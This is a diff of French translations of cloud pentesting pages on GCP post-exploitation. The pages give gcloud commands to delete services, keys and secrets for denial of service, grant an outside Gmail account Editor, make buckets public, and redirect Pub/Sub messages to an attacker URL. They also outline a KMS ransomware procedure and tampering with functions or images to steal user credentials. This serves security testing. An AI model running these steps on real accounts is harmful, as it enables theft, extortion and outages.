> Si vous connaissez des moyens plus simples d'utiliser ces permissions, envoyez un Pull Request !
|
||||
|
||||
### `logging.views.access`
|
||||
|
||||
Avec cette permission, il est possible de **voir les logs de l'App** :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Tail app logs</summary>
|
||||
```bash
|
||||
gcloud app logs tail -s <name>
|
||||
```
|
||||
</details>
|
||||
### Suppression des services et des versions
|
||||
|
||||
Les permissions `appengine.versions.delete`, `appengine.versions.list` et `appengine.services.list` permettent de gérer et de supprimer des versions spécifiques d'une application App Engine, ce qui peut affecter le trafic si celui-ci est réparti ou si la seule version stable est supprimée.
|
||||
Quant aux permissions `appengine.services.delete` et `appengine.services.list`, elles permettent de lister et de supprimer des services entiers — une action qui perturbe immédiatement tout le trafic et la disponibilité des versions associées.
|
||||
```bash
|
||||
gcloud app versions delete <VERSION_ID>
|
||||
gcloud app services delete <SERVICE_NAME>
|
||||
```
|
||||
### Lire le code source
|
||||
|
||||
Le code source de toutes les versions et services est **stocké dans le bucket** nommé **`staging.<proj-id>.appspot.com`**. Si vous disposez d'un accès en écriture, vous pouvez lire le code source et rechercher des **vulnérabilités** et des **informations sensibles**.
|
||||
Le code source de toutes les versions et services est **stocké dans le bucket** nommé **`staging.<proj-id>.appspot.com`**. Si vous avez un accès en écriture dessus, vous pouvez lire le code source et rechercher des **vulnerabilities** et des **sensitive information**.
|
||||
|
||||
### Modifier le code source
|
||||
|
||||
Modifiez le code source pour voler des credentials s'ils sont envoyés ou pour effectuer une defacement web attack.
|
||||
Modifiez le code source pour voler des credentials s'ils sont transmis ou pour effectuer une defacement web attack.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+14
-17
@@ -12,30 +12,31 @@ Trouvez des informations sur Cloud Functions dans :
|
||||
|
||||
### `cloudfunctions.functions.sourceCodeGet`
|
||||
|
||||
Avec cette permission, vous pouvez obtenir une **URL signée pour télécharger le code source** de la Cloud Function :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Obtenir une URL signée pour télécharger le code source</summary>
|
||||
Avec cette permission, vous pouvez obtenir une **URL signée permettant de télécharger le code source** de la Cloud Function :
|
||||
```bash
|
||||
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
|
||||
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
</details>
|
||||
### `cloudfunctions.functions.delete`
|
||||
La permission `cloudfunctions.functions.delete` permet à une identité de supprimer complètement une Cloud Function, y compris son code, sa configuration, ses déclencheurs et son association avec des comptes de service.
|
||||
```bash
|
||||
gcloud functions delete <FUNCTION_NAME> \
|
||||
--region=us-central1 \
|
||||
--quiet
|
||||
```
|
||||
### Code Exfiltration through the bucket
|
||||
Les permissions `storage.objects.get` et `storage.objects.list` permettent de lister et de lire les objets à l'intérieur d'un bucket, et dans le cas de Cloud Functions cela est particulièrement pertinent car chaque fonction stocke son code source dans un bucket Google géré automatiquement, dont le nom suit le format `gcf-sources-<PROJECT_NUMBER>-<REGION>`
|
||||
|
||||
### Voler les requêtes de Cloud Function
|
||||
|
||||
Si la Cloud Function gère des informations sensibles envoyées par les utilisateurs (par ex. passwords ou tokens), avec des privilèges suffisants vous pourriez **modify the source code of the function and exfiltrate** ces informations.
|
||||
### Steal Cloud Function Requests
|
||||
|
||||
De plus, les Cloud Functions exécutées en python utilisent **flask** pour exposer le serveur web. Si vous trouvez d'une manière ou d'une autre une vulnérabilité d'injection de code dans le processus flaks (par exemple une vulnérabilité SSTI), il est possible de **override the function handler** qui va recevoir les HTTP requests pour une **malicious function** capable de **exfiltrate the request** avant de la transmettre au legit handler.
|
||||
Si la Cloud Function gère des informations sensibles envoyées par les utilisateurs (par ex. passwords ou tokens), avec suffisamment de privilèges vous pourriez **modify the source code of the function and exfiltrate** ces informations.
|
||||
|
||||
Par exemple, ce code implémente l'attaque :
|
||||
De plus, Cloud Functions exécutées en python utilisent **flask** pour exposer le serveur web ; si vous trouvez d'une manière ou d'une autre une vulnérabilité d'injection de code dans le processus flaks (une vulnérabilité SSTI par exemple), il est possible de **override the function handler** qui va recevoir les requêtes HTTP pour une **malicious function** qui peut **exfiltrate the request** avant de la transmettre au handler légitime.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Voler les requêtes de Cloud Function (Python injection)</summary>
|
||||
Par exemple ce code implémente l'attaque:
|
||||
```python
|
||||
import functions_framework
|
||||
|
||||
@@ -132,8 +133,4 @@ return "Injection completed!"
|
||||
except Exception as e:
|
||||
return str(e)
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+15
-4
@@ -1,4 +1,4 @@
|
||||
# GCP - Post-exploitation de Cloud Run
|
||||
# GCP - Cloud Run Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,14 +10,25 @@ Pour plus d'informations sur Cloud Run, consultez :
|
||||
../gcp-services/gcp-cloud-run-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Suppression d'un job CloudRun
|
||||
Les permissions `run.services.delete` et `run.services.get`, ainsi que `run.jobs.delete`, permettent à une identité de supprimer complètement un service ou un job Cloud Run, y compris sa configuration et son historique. Entre les mains d'un attaquant, cela peut provoquer une interruption immédiate des applications ou des workflows critiques, entraînant une denial of service (DoS) pour les utilisateurs et les systèmes qui dépendent de la logique du service ou des tâches planifiées essentielles.
|
||||
|
||||
Pour supprimer un job, l'opération suivante peut être effectuée.
|
||||
```bash
|
||||
gcloud run jobs delete <JOB_NAME> --region=<REGION> --quiet
|
||||
```
|
||||
Pour supprimer un service, l'opération suivante peut être effectuée.
|
||||
```bash
|
||||
gcloud run services delete <SERVICE_NAME> --region=<REGION> --quiet
|
||||
```
|
||||
### Accéder aux images
|
||||
|
||||
Si vous pouvez accéder aux images de conteneur, vérifiez le code pour des vulnérabilités et des informations sensibles codées en dur. Vérifiez également les informations sensibles dans les variables d'environnement.
|
||||
Si vous pouvez accéder aux images de conteneur, vérifiez le code pour des vulnérabilités et des informations sensibles codées en dur. Vérifiez aussi les informations sensibles dans les variables d'environnement.
|
||||
|
||||
Si les images sont stockées dans des dépôts à l'intérieur du service Artifact Registry et que l'utilisateur a un accès en lecture sur les dépôts, il pourrait également télécharger l'image depuis ce service.
|
||||
Si les images sont stockées dans des dépôts au sein du service Artifact Registry et que l'utilisateur a un accès en lecture sur les dépôts, il pourrait également télécharger l'image depuis ce service.
|
||||
|
||||
### Modifier et redéployer l'image
|
||||
|
||||
Modifiez l'image d'exécution pour voler des informations et redéployez la nouvelle version (il ne suffit pas de télécharger un nouveau conteneur docker avec les mêmes balises pour qu'il soit exécuté). Par exemple, s'il expose une page de connexion, volez les identifiants que les utilisateurs envoient.
|
||||
Modifier l'image de run pour voler des informations et redéployer la nouvelle version (le simple téléversement d'un nouveau docker container avec les mêmes tags ne le fera pas exécuter). Par exemple, si elle expose une page de connexion, volez les identifiants envoyés par les utilisateurs.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+29
-11
@@ -1,4 +1,4 @@
|
||||
# GCP - IAM Post-exploitation
|
||||
# GCP - IAM Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,24 +10,42 @@ Vous pouvez trouver plus d'informations sur IAM dans :
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Accorder l'accès à la console de gestion <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
|
||||
### Granting access to management console <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
|
||||
|
||||
Access to the [GCP management console](https://console.cloud.google.com) is **provided to user accounts, not service accounts**. Pour vous connecter à l'interface web, vous pouvez **accorder l'accès à un compte Google** que vous contrôlez. Cela peut être un compte générique "**@gmail.com**", il **n'a pas besoin d'être membre de l'organisation cible**.
|
||||
Access to the [GCP management console](https://console.cloud.google.com) est **fourni aux comptes utilisateur, pas aux service accounts**. Pour vous connecter à l'interface web, vous pouvez **accorder l'accès à un Google account** que vous contrôlez. Il peut s'agir d'un compte générique "**@gmail.com**", il **n'a pas besoin d'être membre de l'organisation cible**.
|
||||
|
||||
Cependant, pour **attribuer** le rôle primitif **Owner** à un compte générique "@gmail.com", vous devrez **utiliser la console web**. `gcloud` renverra une erreur si vous essayez de lui attribuer une permission supérieure à Editor.
|
||||
Cependant, pour **accorder** le rôle primitif **Owner** à un compte générique "@gmail.com", vous devrez **utiliser la console web**. `gcloud` renverra une erreur si vous essayez de lui accorder une permission supérieure à Editor.
|
||||
|
||||
Vous pouvez utiliser la commande suivante pour **accorder à un utilisateur le rôle primitif Editor** sur votre projet existant :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Accorder le rôle Editor à un utilisateur</summary>
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
|
||||
```
|
||||
</details>
|
||||
Si vous avez réussi ici, essayez d'**accéder à l'interface web** et d'explorer depuis celle-ci.
|
||||
|
||||
Si vous avez réussi ici, essayez d'**accéder à l'interface web** et d'explorer à partir de là.
|
||||
C'est le **niveau le plus élevé que vous pouvez assigner en utilisant l'outil gcloud**.
|
||||
|
||||
Ceci est le **niveau le plus élevé que vous pouvez attribuer en utilisant l'outil gcloud**.
|
||||
### Supprimer des composants IAM `iam.*.delete`
|
||||
Les permissions `iam.*.delete` (par ex., `iam.roles.delete`, `iam.serviceAccountApiKeyBindings.delete`, `iam.serviceAccountKeys.delete`, etc.) permettent à une identité de supprimer des composants IAM critiques tels que les rôles personnalisés, les liaisons de clés API, les clés de comptes de service, et les comptes de service eux-mêmes. Entre les mains d'un attaquant, cela permet de supprimer des mécanismes d'accès légitimes afin de provoquer un déni de service.
|
||||
|
||||
Pour mener une telle attaque, il est possible, par exemple, de supprimer des rôles en utilisant :
|
||||
```bash
|
||||
gcloud iam roles delete <ROLE_ID> --project=<PROJECT_ID>
|
||||
```
|
||||
### `iam.serviceAccountKeys.disable` || `iam.serviceAccounts.disable`
|
||||
|
||||
Les permissions `iam.serviceAccountKeys.disable` et `iam.serviceAccounts.disable` permettent de désactiver des clés actives de Service Account ou des Service Accounts, ce qui, entre les mains d'un attaquant, peut être utilisé pour perturber les opérations, provoquer un déni de service ou entraver la réponse à un incident en empêchant l'utilisation de credentials légitimes.
|
||||
|
||||
Pour désactiver un Service Account, vous pouvez utiliser la commande suivante :
|
||||
```bash
|
||||
gcloud iam service-accounts disable <SA_EMAIL> --project=<PROJECT_ID>
|
||||
```
|
||||
Pour désactiver les clés d'un Service Account, vous pouvez utiliser la commande suivante :
|
||||
```bash
|
||||
gcloud iam service-accounts keys disable <KEY_ID> --iam-account=<SA_EMAIL>
|
||||
```
|
||||
### `iam.*.undelete`
|
||||
Les permissions `iam.*.undelete` permettent de restaurer des éléments précédemment supprimés tels que API key bindings, custom roles ou service accounts. Entre les mains d'un attaquant, cela peut être utilisé pour inverser des actions défensives (récupérer des accès supprimés), rétablir des vecteurs de compromission supprimés afin de maintenir la persistance, ou échapper aux efforts de remédiation, compliquant le confinement de l'incident.
|
||||
```bash
|
||||
gcloud iam service-accounts undelete "${SA_ID}" --project="${PROJECT}"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+36
-10
@@ -12,11 +12,11 @@ Trouvez des informations de base sur KMS dans :
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.destroy`
|
||||
|
||||
Un attaquant disposant de cette permission pourrait détruire une version KMS. Pour cela, vous devez d'abord désactiver la clé puis la détruire :
|
||||
Un attacker disposant de cette permission pourrait détruire une version KMS. Pour ce faire, vous devez d'abord désactiver la clé, puis la détruire :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Désactiver et détruire une version de clé (Python)</summary>
|
||||
<summary>Désactiver et détruire la version de la clé (Python)</summary>
|
||||
```python
|
||||
# pip install google-cloud-kms
|
||||
|
||||
@@ -65,24 +65,24 @@ destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
|
||||
### KMS Ransomware
|
||||
|
||||
Dans AWS, il est possible de **steal a KMS key** complètement en modifiant la KMS resource policy et en n'autorisant que le compte de l'attaquant à utiliser la clé. Comme ces resource policies n'existent pas dans GCP, cela n'est pas possible.
|
||||
Dans AWS, il est possible d'entièrement **steal a KMS key** en modifiant la KMS resource policy et en autorisant uniquement le compte de l'attaquant à utiliser la clé. Comme ces resource policies n'existent pas dans GCP, cela n'est pas possible.
|
||||
|
||||
Cependant, il existe une autre façon d'effectuer un KMS Ransomware global, qui impliquerait les étapes suivantes :
|
||||
Cependant, il existe une autre façon d'exécuter un KMS Ransomware global, qui impliquerait les étapes suivantes :
|
||||
|
||||
- Créer une nouvelle **version de la clé avec un matériel de clé** importée par l'attaquant
|
||||
- Créer une nouvelle **version de la clé avec un key material** importé par l'attaquant
|
||||
```bash
|
||||
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
|
||||
```
|
||||
- Définir comme **version par défaut** (pour les données qui seront chiffrées à l'avenir)
|
||||
- **Ré-chiffrer les anciennes données** chiffrées avec la version précédente en utilisant la nouvelle.
|
||||
- Définir comme **version par défaut** (pour les données futures qui seront chiffrées)
|
||||
- **Rechiffrer les anciennes données** chiffrées avec la version précédente en utilisant la nouvelle.
|
||||
- **Supprimer la clé KMS**
|
||||
- Désormais, seul l'attaquant qui possède le matériel de clé original pourra déchiffrer les données chiffrées
|
||||
- Désormais, seul l'attaquant, qui possède le matériel de clé d'origine, pourrait être capable de déchiffrer les données chiffrées
|
||||
|
||||
#### Voici les étapes pour importer une nouvelle version et désactiver/supprimer les données plus anciennes :
|
||||
#### Voici les étapes pour importer une nouvelle version et désactiver/supprimer les anciennes données :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Importer une nouvelle version de la clé et supprimer l'ancienne version</summary>
|
||||
<summary>Importer une nouvelle version de clé et supprimer l'ancienne version</summary>
|
||||
```bash
|
||||
# Encrypt something with the original key
|
||||
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
|
||||
@@ -270,6 +270,32 @@ return verify_response.success
|
||||
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
|
||||
print('Verified:', verified)
|
||||
```
|
||||
### `cloudkms.cryptoKeyVersions.restore`
|
||||
La permission `cloudkms.cryptoKeyVersions.restore` permet à une identité de restaurer une version de clé qui avait été précédemment programmée pour destruction ou désactivée dans Cloud KMS, la remettant dans un état actif et utilisable.
|
||||
```bash
|
||||
gcloud kms keys versions restore <VERSION_ID> \
|
||||
--key=<KEY_NAME> \
|
||||
--keyring=<KEYRING_NAME> \
|
||||
--location=<LOCATION> \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
### `cloudkms.cryptoKeyVersions.update`
|
||||
L'autorisation `cloudkms.cryptoKeyVersions.update` permet à une identité de modifier les attributs ou l'état d'une version de clé spécifique dans Cloud KMS, par exemple en l'activant ou en la désactivant.
|
||||
```bash
|
||||
# Disable key
|
||||
gcloud kms keys versions disable <VERSION_ID> \
|
||||
--key=<KEY_NAME> \
|
||||
--keyring=<KEYRING_NAME> \
|
||||
--location=<LOCATION> \
|
||||
--project=<PROJECT_ID>
|
||||
|
||||
# Enable key
|
||||
gcloud kms keys versions enable <VERSION_ID> \
|
||||
--key=<KEY_NAME> \
|
||||
--keyring=<KEYRING_NAME> \
|
||||
--location=<LOCATION> \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+47
-21
@@ -1,10 +1,10 @@
|
||||
# GCP - Pub/Sub Post-exploitation
|
||||
# GCP - Pub/Sub Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Pub/Sub
|
||||
|
||||
Pour plus d'informations sur Pub/Sub, consultez la page suivante :
|
||||
Pour plus d'informations sur Pub/Sub, consultez la page suivante:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-pub-sub.md
|
||||
@@ -25,7 +25,7 @@ gcloud pubsub topics publish <topic_name> --message "Hello!"
|
||||
|
||||
### `pubsub.topics.detachSubscription`
|
||||
|
||||
Utile pour empêcher une subscription de recevoir des messages, peut-être pour éviter d'être détecté.
|
||||
Utile pour empêcher une subscription de recevoir des messages, peut-être pour éviter la détection.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -37,8 +37,8 @@ gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
|
||||
|
||||
### `pubsub.topics.delete`
|
||||
|
||||
Utile pour empêcher une subscription de recevoir des messages, peut-être afin d'éviter la détection.\
|
||||
Il est possible de supprimer un topic même si des subscriptions y sont attachées.
|
||||
Utile pour empêcher une subscription de recevoir des messages, éventuellement pour éviter la détection.\
|
||||
Il est possible de supprimer un topic même avec des subscriptions attachées.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -50,12 +50,38 @@ gcloud pubsub topics delete <TOPIC NAME>
|
||||
|
||||
### `pubsub.topics.update`
|
||||
|
||||
Utilisez cette permission pour mettre à jour certains paramètres du topic afin de le perturber, comme `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
|
||||
Utilisez cette permission pour modifier certains paramètres du topic afin de le perturber, comme `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
|
||||
|
||||
### `pubsub.topics.setIamPolicy`
|
||||
|
||||
Donnez-vous la permission d'effectuer l'une des attaques précédentes.
|
||||
Donnez-vous la permission d'effectuer n'importe laquelle des attaques précédentes.
|
||||
```bash
|
||||
# Add Binding
|
||||
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="<ROLE_OR_CUSTOM_ROLE>" \
|
||||
--project="<PROJECT_ID>"
|
||||
|
||||
# Remove Binding
|
||||
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="<ROLE_OR_CUSTOM_ROLE>" \
|
||||
--project="<PROJECT_ID>"
|
||||
|
||||
# Change Policy
|
||||
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
|
||||
<(echo '{
|
||||
"bindings": [
|
||||
{
|
||||
"role": "<ROLE_OR_CUSTOM_ROLE>",
|
||||
"members": [
|
||||
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
|
||||
]
|
||||
}
|
||||
]
|
||||
}') \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
|
||||
|
||||
Récupérer tous les messages sur un serveur web :
|
||||
@@ -73,7 +99,7 @@ Créez un abonnement et utilisez-le pour **récupérer des messages** :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Créer un abonnement en mode pull et récupérer des messages</summary>
|
||||
<summary>Créer un abonnement de type pull et récupérer les messages</summary>
|
||||
```bash
|
||||
# This will retrive a non ACKed message (and won't ACK it)
|
||||
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
|
||||
@@ -86,11 +112,11 @@ gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
|
||||
|
||||
### `pubsub.subscriptions.delete`
|
||||
|
||||
**Suppression d'une subscription** pourrait être utile pour perturber un système de traitement des logs ou quelque chose de similaire:
|
||||
**Supprimer un abonnement** peut être utile pour perturber un système de traitement des logs ou quelque chose de similaire :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supprimer la subscription</summary>
|
||||
<summary>Supprimer l'abonnement</summary>
|
||||
```bash
|
||||
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
|
||||
```
|
||||
@@ -98,11 +124,11 @@ gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
|
||||
|
||||
### `pubsub.subscriptions.update`
|
||||
|
||||
Utilisez cette permission pour modifier un paramètre afin que les messages soient stockés dans un endroit auquel vous pouvez accéder (URL, Big Query table, Bucket) ou simplement pour le perturber.
|
||||
Utilisez cette permission pour mettre à jour un paramètre afin que les messages soient stockés dans un endroit auquel vous pouvez accéder (URL, Big Query table, Bucket) ou simplement pour le perturber.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Mettre à jour l'endpoint de la subscription</summary>
|
||||
<summary>Point de terminaison de mise à jour de l'abonnement</summary>
|
||||
```bash
|
||||
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
|
||||
```
|
||||
@@ -110,16 +136,16 @@ gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name
|
||||
|
||||
### `pubsub.subscriptions.setIamPolicy`
|
||||
|
||||
Donnez-vous les permissions nécessaires pour effectuer n'importe laquelle des attaques précédemment mentionnées.
|
||||
Donnez-vous les autorisations nécessaires pour effectuer n'importe laquelle des attaques mentionnées précédemment.
|
||||
|
||||
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
|
||||
|
||||
Attachez un schema à un topic de sorte que les messages ne le respectent pas et que le topic soit ainsi perturbé.\
|
||||
S'il n'y a pas de schema, vous devrez peut-être en créer un.
|
||||
Attacher un schema à un topic de façon à ce que les messages ne le respectent pas et que le topic soit perturbé.\
|
||||
Si aucun schema n'existe, vous devrez peut-être en créer un.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Créer un fichier de schema et l'attacher au topic</summary>
|
||||
<summary>Créer le fichier schema et l'attacher au topic</summary>
|
||||
```json:schema.json
|
||||
{
|
||||
"namespace": "com.example",
|
||||
@@ -148,11 +174,11 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
|
||||
|
||||
### `pubsub.schemas.delete`
|
||||
|
||||
Cela peut sembler qu'en supprimant un schéma vous pourrez envoyer des messages qui ne respectent pas le schéma. Cependant, comme le schéma sera supprimé, aucun message ne sera réellement publié dans le topic. Donc c'est **INUTILE** :
|
||||
Cela pourrait donner l'impression qu'en supprimant un schema vous pourrez envoyer des messages qui ne respectent pas le schema. Cependant, comme le schema sera supprimé, aucun message n'entrera réellement dans le topic. Donc c'est **INUTILE** :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supprimer le schéma (inutile)</summary>
|
||||
<summary>Delete schema (not useful)</summary>
|
||||
```bash
|
||||
gcloud pubsub schemas delete <SCHEMA NAME>
|
||||
```
|
||||
@@ -160,15 +186,15 @@ gcloud pubsub schemas delete <SCHEMA NAME>
|
||||
|
||||
### `pubsub.schemas.setIamPolicy`
|
||||
|
||||
Accordez-vous les autorisations nécessaires pour réaliser n'importe laquelle des attaques mentionnées précédemment.
|
||||
Donnez-vous les permissions nécessaires pour effectuer n'importe laquelle des attaques commentées précédemment.
|
||||
|
||||
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
|
||||
|
||||
Cela créera un snapshot de tous les messages unACKed et les remettra dans la subscription. Pas très utile pour un attacker mais voici :
|
||||
Cela créera un snapshot de tous les messages unACKed et les remettra dans la subscription. Pas très utile pour un attaquant mais voici :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Créer un snapshot et s'y positionner</summary>
|
||||
<summary>Create snapshot and seek to it</summary>
|
||||
```bash
|
||||
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
|
||||
--subscription=YOUR_SUBSCRIPTION_NAME
|
||||
|
||||
+26
-3
@@ -4,7 +4,7 @@
|
||||
|
||||
## Secretmanager
|
||||
|
||||
For more information about Secret Manager check:
|
||||
Pour plus d'informations sur Secret Manager, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-secrets-manager-enum.md
|
||||
@@ -12,15 +12,38 @@ For more information about Secret Manager check:
|
||||
|
||||
### `secretmanager.versions.access`
|
||||
|
||||
Cela vous permet de lire les secrets depuis le Secret Manager et cela peut aider à escalader les privilèges (selon les informations stockées dans le secret) :
|
||||
Cela vous permet de lire les secrets depuis le Secret Manager et peut éventuellement aider à escalader des privilèges (selon les informations stockées dans le secret) :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Accéder à une version du secret</summary>
|
||||
<summary>Accéder à la version du secret</summary>
|
||||
```bash
|
||||
# Get clear-text of version 1 of secret: "<secret name>"
|
||||
gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `secretmanager.versions.destroy`
|
||||
La permission `secretmanager.versions.destroy` permet à une identité de détruire définitivement (marquer comme irrémédiablement supprimée) une version spécifique d'un secret dans Secret Manager, ce qui peut permettre la suppression d'identifiants critiques et potentiellement provoquer un denial of service ou empêcher la récupération de données sensibles.
|
||||
```bash
|
||||
gcloud secrets versions destroy <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
|
||||
```
|
||||
### `secretmanager.versions.disable`
|
||||
La permission `secretmanager.versions.disable` permet à une identité de désactiver des versions de secret actives dans Secret Manager, bloquant temporairement leur utilisation par des applications ou services qui en dépendent.
|
||||
```bash
|
||||
gcloud secrets versions disable <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
|
||||
```
|
||||
### `secretmanager.secrets.delete`
|
||||
Le jeu d'autorisations `secretmanager.secrets.delete` permet à une identité de supprimer complètement un secret et toutes ses versions stockées dans Secret Manager.
|
||||
```bash
|
||||
gcloud secrets delete <SECRET_NAME> --project=<PROJECT_ID>
|
||||
```
|
||||
### `secretmanager.secrets.update`
|
||||
La permission `secretmanager.secrets.update` permet à une identité de modifier les métadonnées et la configuration d'un secret (par exemple, les paramètres de rotation, la politique de versions, les labels et certaines propriétés du secret).
|
||||
```bash
|
||||
gcloud secrets update SECRET_NAME \
|
||||
--project=PROJECT_ID \
|
||||
--clear-labels \
|
||||
--rotation-period=DURATION
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+55
-9
@@ -10,13 +10,9 @@ Pour plus d'informations sur Cloud Storage, consultez cette page :
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Give Public Access
|
||||
### Accorder un accès public
|
||||
|
||||
Il est possible d'accorder à des utilisateurs externes (connectés à GCP ou non) l'accès au contenu des buckets. Cependant, par défaut, le bucket aura l'option d'exposition publique désactivée :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Rendre le bucket/les objets publics</summary>
|
||||
Il est possible de donner à des utilisateurs externes (connectés à GCP ou non) l'accès au contenu des buckets. Cependant, par défaut l'option d'exposer publiquement un bucket est désactivée :
|
||||
```bash
|
||||
# Disable public prevention
|
||||
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
|
||||
@@ -29,10 +25,60 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
|
||||
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
```
|
||||
</details>
|
||||
Si vous essayez de donner **ACLs à un bucket dont les ACLs sont désactivées**, vous obtiendrez cette erreur : `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
|
||||
Si vous essayez d'attribuer des **ACLs à un bucket dont les ACLs sont désactivées** vous obtiendrez cette erreur : `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
Pour accéder aux buckets ouverts via un navigateur, utilisez l'URL `https://<bucket_name>.storage.googleapis.com/` ou `https://<bucket_name>.storage.googleapis.com/<object_name>`
|
||||
|
||||
Pour accéder aux buckets ouverts depuis un navigateur, utilisez l'URL `https://<bucket_name>.storage.googleapis.com/` ou `https://<bucket_name>.storage.googleapis.com/<object_name>`
|
||||
### `storage.objects.delete` (`storage.objects.get`)
|
||||
|
||||
Pour supprimer un objet :
|
||||
```bash
|
||||
gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>
|
||||
```
|
||||
### `storage.buckets.delete`, `storage.objects.delete` & `storage.objects.list`
|
||||
|
||||
Pour supprimer un bucket:
|
||||
```bash
|
||||
gcloud storage rm -r gs://<BUCKET_NAME>
|
||||
```
|
||||
### Désactiver les clés HMAC
|
||||
|
||||
La permission `storage.hmacKeys.update` permet de désactiver les clés HMAC, et la permission `storage.hmacKeys.delete` permet à une identité de supprimer les clés HMAC associées aux comptes de service dans Cloud Storage.
|
||||
```bash
|
||||
# Deactivate
|
||||
gcloud storage hmac update <ACCESS_ID> --deactivate
|
||||
|
||||
# Delete
|
||||
gcloud storage hmac delete <ACCESS_ID>
|
||||
```
|
||||
### `storage.buckets.setIpFilter` & `storage.buckets.update`
|
||||
Les permissions `storage.buckets.setIpFilter` et `storage.buckets.update` permettent à une identité de configurer des filtres d'adresses IP sur un bucket Cloud Storage, en spécifiant quelles plages ou adresses IP sont autorisées à accéder aux ressources du bucket.
|
||||
|
||||
Pour effacer complètement le filtre IP, la commande suivante peut être utilisée :
|
